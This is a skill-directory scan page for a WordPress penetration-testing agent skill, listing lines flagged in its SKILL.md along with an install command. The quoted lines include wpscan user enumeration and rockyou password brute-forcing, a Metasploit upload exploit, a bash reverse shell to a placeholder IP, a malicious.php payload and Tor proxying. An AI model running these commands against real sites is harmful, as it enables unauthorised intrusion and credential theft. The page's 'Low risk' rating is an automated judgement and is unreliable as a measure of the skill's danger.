← All skills
wordpress-penetration-testing
94 / 100 · Low risk
Fine to try. Some of what it can do is expected: a coding skill usually runs build and test commands.
By sinhoneyy/master-skills (GitHub) · coding · 17 stars · scanned at commit 8e70b78
Assess WordPress installations for common vulnerabilities and WordPress 7.0 attack surfaces.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target.com
This is disclosed by the author in the skill's SKILL.md or README.
Found in 42 places.
Show 17 more
- skills/wordpress-penetration-testing/SKILL.md, line 84
curl -I http://target.com/wp-login.php - skills/wordpress-penetration-testing/SKILL.md, line 85
curl -I http://target.com/wp-admin/ - skills/wordpress-penetration-testing/SKILL.md, line 86
curl -I http://target.com/wp-content/ - skills/wordpress-penetration-testing/SKILL.md, line 87
curl -I http://target.com/xmlrpc.php - skills/wordpress-penetration-testing/SKILL.md, line 90
curl -s http://target.com | grep "generator" - skills/wordpress-penetration-testing/SKILL.md, line 138
curl -s http://target.com/readme.html | grep -i version - skills/wordpress-penetration-testing/SKILL.md, line 139
curl -s http://target.com/feed/ | grep -i generator - skills/wordpress-penetration-testing/SKILL.md, line 140
curl -s http://target.com | grep "?ver=" - skills/wordpress-penetration-testing/SKILL.md, line 143
curl -s http://target.com | grep 'name="generator"' - skills/wordpress-penetration-testing/SKILL.md, line 146
curl -s http://target.com/feed/ - skills/wordpress-penetration-testing/SKILL.md, line 147
curl -s http://target.com/comments/feed/ - skills/wordpress-penetration-testing/SKILL.md, line 171
curl -s http://target.com | grep "wp-content/themes/" - skills/wordpress-penetration-testing/SKILL.md, line 172
curl -s http://target.com/wp-content/themes/ - skills/wordpress-penetration-testing/SKILL.md, line 181
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version - skills/wordpress-penetration-testing/SKILL.md, line 182
curl -s http://target.com/wp-content/themes/<theme>/readme.txt - skills/wordpress-penetration-testing/SKILL.md, line 203
curl -s http://target.com | grep "wp-content/plugins/" - skills/wordpress-penetration-testing/SKILL.md, line 204
curl -s http://target.com/wp-content/plugins/
and 22 more places
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.
Found in 22 places.
Show 17 more
- skills/wordpress-penetration-testing/SKILL.md, line 162
wpscan --url http://target.com -e at - skills/wordpress-penetration-testing/SKILL.md, line 178
searchsploit wordpress theme <theme_name> - skills/wordpress-penetration-testing/SKILL.md, line 191
wpscan --url http://target.com -e ap - skills/wordpress-penetration-testing/SKILL.md, line 210
searchsploit wordpress plugin <plugin_name> - skills/wordpress-penetration-testing/SKILL.md, line 225
wpscan --url http://target.com -e u - skills/wordpress-penetration-testing/SKILL.md, line 251
wpscan --url http://target.com -e at -e ap -e u - skills/wordpress-penetration-testing/SKILL.md, line 277
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt - skills/wordpress-penetration-testing/SKILL.md, line 309
msfconsole - skills/wordpress-penetration-testing/SKILL.md, line 325
use exploit/unix/webapp/wp_slideshowgallery_upload - skills/wordpress-penetration-testing/SKILL.md, line 347
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); - skills/wordpress-penetration-testing/SKILL.md, line 358
cat > malicious.php << 'EOF' - skills/wordpress-penetration-testing/SKILL.md, line 384
curl -X POST http://target.com/xmlrpc.php - skills/wordpress-penetration-testing/SKILL.md, line 422
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 - skills/wordpress-penetration-testing/SKILL.md, line 435
wpscan --url http://target.com --http-auth admin:password - skills/wordpress-penetration-testing/SKILL.md, line 526
curl -s http://target.com/wp-json/ai/v1/ - skills/wordpress-penetration-testing/SKILL.md, line 539
curl -s http://target.com/wp-json/abilities/v1/manifest - skills/wordpress-penetration-testing/SKILL.md, line 550
curl -s http://target.com/wp-json/wp/v2/posts?meta[_wp_sync_storage]
and 2 more places
Other copies in this repository
sinhoneyy/master-skills has 1 more folder with a skill named wordpress-penetration-testing. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'wordpress-penetration-testing' ] || [ -L ~/.agents/skills/'wordpress-penetration-testing' ]; then echo 'A skill folder named wordpress-penetration-testing already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/sinhoneyy/master-skills' "$d" && git -C "$d" checkout --quiet '8e70b780359915a1f197ca37a1add2d4016115a2' -- 'skills/wordpress-penetration-testing' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/wordpress-penetration-testing' ~/.agents/skills/'wordpress-penetration-testing' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'wordpress-penetration-testing' ~/.claude/skills/'wordpress-penetration-testing' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for sinhoneyy/master-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/sinhoneyy/master-skills/)
Score history
| Date | Version | Score |
|---|
| 2026-11-09 | 8e70b78 | 94 |